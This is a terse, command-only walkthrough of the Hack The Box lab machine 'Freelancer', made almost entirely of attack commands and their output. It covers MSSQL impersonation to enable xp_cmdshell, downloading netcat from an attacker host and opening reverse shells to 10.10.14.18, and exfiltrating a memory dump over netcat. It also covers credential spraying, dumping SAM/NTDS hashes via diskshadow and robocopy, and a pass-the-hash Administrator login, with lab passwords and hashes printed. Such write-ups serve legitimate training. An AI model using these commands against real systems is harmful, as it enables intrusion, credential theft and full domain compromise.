Freelancer

ports=$(nmap -p- --min-rate=5000 -T4 10.129.64.53 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p $ports -sC -sV -oN nmap.txt 10.129.64.53

GET /accounts/profile/visit/2/ HTTP/1.1
Host: freelancer.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://freelancer.htb/blog/details/?article_id=12
Connection: keep-alive
Cookie: csrftoken=FbxM5FKMdMudJohQpDrOidxNglAqNQA3; sessionid=hdp9xfqeo26c907yf6jbaktqbktpkqh1
Upgrade-Insecure-Requests: 1

SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

EXECUTE AS LOGIN = 'sa'
EXEC sp_configure 'show advanced options','1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell','1';
RECONFIGURE;

EXECUTE AS LOGIN = 'sa'
EXEC xp_cmdshell "net user"

EXECUTE AS LOGIN = 'sa'
EXEC xp_cmdshell "mkdir c:\temp"
EXEC xp_cmdshell "curl 10.10.14.18/nc64.exe -o c:\temp\nc.exe"
EXEC xp_cmdshell "c:\temp\nc.exe 10.10.14.18 1234 -e cmd.exe"

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt

type Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI

┌──(root㉿kali)-[~/htb/Box/Freelancer]
└─# crackmapexec smb 10.129.216.84 -u 'mikasaAckerman' -p 'IL0v3ErenY3ager'
SMB         10.129.216.84   445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:False)
SMB         10.129.216.84   445    DC               [+] freelancer.htb\mikasaAckerman:IL0v3ErenY3ager

RunasCs.exe mikasaAckerman IL0v3ErenY3ager "C:\temp\nc.exe 10.10.14.18 6666 -e cmd.exe" -t 0

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-539d8$\Default
[+] Async process 'C:\temp\nc.exe 10.10.14.18 6666 -e cmd.exe' with pid 4396 created in background.

┌──(root㉿kali)-[~/htb/Box/Freelancer]
└─# nc -lvnp 6666           
listening on [any] 6666 ...
connect to [10.10.14.18] from (UNKNOWN) [10.129.216.84] 59496
Microsoft Windows [Version 10.0.17763.5830]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
freelancer\mikasaackerman

c:\Users\mikasaAckerman\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 8954-28AE

 Directory of c:\Users\mikasaAckerman\Desktop

05/28/2024  10:22 AM    <DIR>          .
05/28/2024  10:22 AM    <DIR>          ..
10/28/2023  06:23 PM             1,468 mail.txt
10/04/2023  01:47 PM       292,692,678 MEMORY.7z
06/02/2024  12:09 PM                34 user.txt

nc -lvnp 7777 > MEMORY.7z
c:\temp\nc.exe -w 700 10.10.14.18 7777 < MEMORY.7z

MemProcFS.exe -device MEMORY.DMP -forensic 0

M:\registry\hive_files

impacket-secretsdump  -system 0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive -sam 0xffffd3067d935000-SAM-MACHINE_SAM.reghive -security 0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive LOCAL

[*] _SC_MSSQL$DATA 
(Unknown User):PWN3D#l0rr@Armessa199
[*] Cleaning up...

crackmapexec smb 10.129.185.251 -u users.txt -p 'PWN3D#l0rr@Armessa199' --continue

SMB         10.129.185.251  445    DC               [+] freelancer.htb\lorra199:PWN3D#l0rr@Armessa199

python3 /opt/BloodHound.py/bloodhound.py -u 'mikasaAckerman' -p 'IL0v3ErenY3ager' -d freelancer.htb -c all -ns 10.129.216.84

RunasCs.exe lorra199 'PWN3D#l0rr@Armessa199' "C:\temp\nc.exe 10.10.14.47 7777 -e cmd.exe" -t 0

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Restore-ADObject -Identity "ebe15df5-e265-45ec-b7fc-359877217138" -NewName "lkazanof_tmp"

crackmapexec winrm 10.129.185.251 -u liza.kazanof -p 'RockYou!'

SMB         10.129.185.251  5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:freelancer.htb)
HTTP        10.129.185.251  5985   DC               [*] http://10.129.185.251:5985/wsman
WINRM       10.129.185.251  5985   DC               [+] freelancer.htb\liza.kazanof:RockYou! (Pwn3d!)

evil-winrm -i 10.129.185.251 -u liza.kazanof -p 'RockYou!'

*Evil-WinRM* PS C:\Users\liza.kazanof\Documents> net user liza.kazanof
User name                    liza.kazanof
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            5/14/2024 6:37:29 PM
Password expires             6/25/2024 6:37:29 PM
Password changeable          5/15/2024 6:37:29 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Backup Operators     *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append 
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
diskshadow.exe /s c:\temp\diskshadow.txt

robocopy /b Z:\Windows\System32\Config C:\temp SAM
robocopy /b Z:\Windows\System32\Config C:\temp SYSTEM
robocopy /b Z:\Windows\NTDS C:\temp ntds.dit

download ntds.dit
dowload SAM
dowmload SYSTEM

impacket-secretsdump -system SYSTEM -sam SAM -ntds ntds.dit LOCAL

[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0039318f1e8274633445bce32ad1a290:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:89851d57d9c8cc8addb66c59b83a4379:::

evil-winrm -i 10.129.185.251 -u Administrator -H 0039318f1e8274633445bce32ad1a290